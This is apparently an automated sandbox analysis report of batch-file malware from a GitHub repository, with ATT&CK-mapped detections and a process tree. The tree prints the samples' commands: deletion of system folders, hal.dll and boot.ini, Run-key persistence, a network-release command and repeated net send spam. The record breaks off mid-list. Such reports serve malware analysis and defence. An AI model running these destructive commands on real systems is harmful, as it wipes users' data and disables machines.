hxxps://github[.]com/palahsu/Malware-Smog/blob/main/system_meltdown[.]bat

Analysis

max time kernel
299s
max time network
287s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2024 02:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/palahsu/Malware-Smog/blob/main/system_meltdown.bat

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
384	Process not Found

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
62	raw.githubusercontent.com
63	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4756	PING.EXE
4296	PING.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1680	ipconfig.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133685065715882159"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	chrome.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
5116	NOTEPAD.EXE
896	NOTEPAD.EXE

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4756	PING.EXE
4296	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
852	chrome.exe
852	chrome.exe
3760	chrome.exe
3760	chrome.exe
3760	chrome.exe
3760	chrome.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
664	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
852	chrome.exe
852	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe
Token: SeShutdownPrivilege	852	chrome.exe
Token: SeCreatePagefilePrivilege	852	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe
852	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 852 wrote to memory of 3796	852	chrome.exe	85
PID 852 wrote to memory of 3796	852	chrome.exe	85
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 2096	852	chrome.exe	86
PID 852 wrote to memory of 1296	852	chrome.exe	87
PID 852 wrote to memory of 1296	852	chrome.exe	87
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88
PID 852 wrote to memory of 324	852	chrome.exe	88

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3448	attrib.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/palahsu/Malware-Smog/blob/main/system_meltdown.bat
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd4,0x108,0x7ff8cd78cc40,0x7ff8cd78cc4c,0x7ff8cd78cc58
  2⤵
  PID:3796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1920,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2176,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2224 /prefetch:3
  2⤵
  PID:1296
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1872,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2396 /prefetch:8
  2⤵
  PID:324
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3144 /prefetch:1
  2⤵
  PID:2304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3136,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:1948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4516,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4628 /prefetch:8
  2⤵
  PID:2532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5252,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5184 /prefetch:8
  2⤵
  PID:3892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5104,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5248 /prefetch:8
  2⤵
  PID:1932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Disablenet.bat" "
  2⤵
  PID:2116
- - C:\Windows\system32\reg.exe
    reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
    3⤵
    PID:3976
- - C:\Windows\system32\reg.exe
    reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
    3⤵
    PID:4520
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4876,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4024 /prefetch:8
  2⤵
  PID:2656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5412,i,16443873607025473888,10953174599936970842,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4772 /prefetch:8
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3760

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2868

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2152

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Kill USB.bat
1⤵
PID:1408

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\windowswimn32.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:5116

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\system_meltdown.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Kill USB.bat" "
1⤵
PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del D:\"
  2⤵
  PID:1244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\documents and settings"
  2⤵
  PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\users"
  2⤵
  PID:384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\windows\system32\hal.dll"
  2⤵
  PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\windows"
  2⤵
  PID:1560
- C:\Windows\system32\attrib.exe
  attrib -s -h C:\boot.ini
  2⤵
  - Views/modifies file attributes
  PID:3448
- C:\Windows\system32\PING.EXE
  PING localhost -n 1 -w 3
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\boot.ini"
  2⤵
  PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" del C:\"
  2⤵
  PID:4872
- C:\Windows\system32\PING.EXE
  PING localhost -n 1 -w 6
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4296

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\windowswimn32.bat" "
1⤵
PID:1588
- C:\Windows\system32\ipconfig.exe
  ipconfig /release_all
  2⤵
  - Gathers network information
  PID:1680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Disablenet.bat" "
1⤵
PID:1096
- C:\Windows\system32\reg.exe
  reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
  2⤵
  PID:4756
- C:\Windows\system32\reg.exe
  reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
  2⤵
  PID:2692

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\system_meltdown.bat" "
1⤵
PID:1444
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4456
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4024
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4140
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2060
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1888
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4580
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4456
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:492
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3156
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:932
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3284
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2272
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:8
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4740
- - C:\Windows\system32\net1.exe
